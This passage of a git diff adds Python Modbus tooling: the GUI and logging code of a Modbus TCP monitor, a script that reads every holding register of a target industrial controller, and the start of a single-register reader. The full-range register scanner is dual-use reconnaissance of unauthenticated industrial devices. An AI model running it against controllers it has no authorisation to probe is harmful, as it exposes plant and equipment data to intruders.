+ # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def 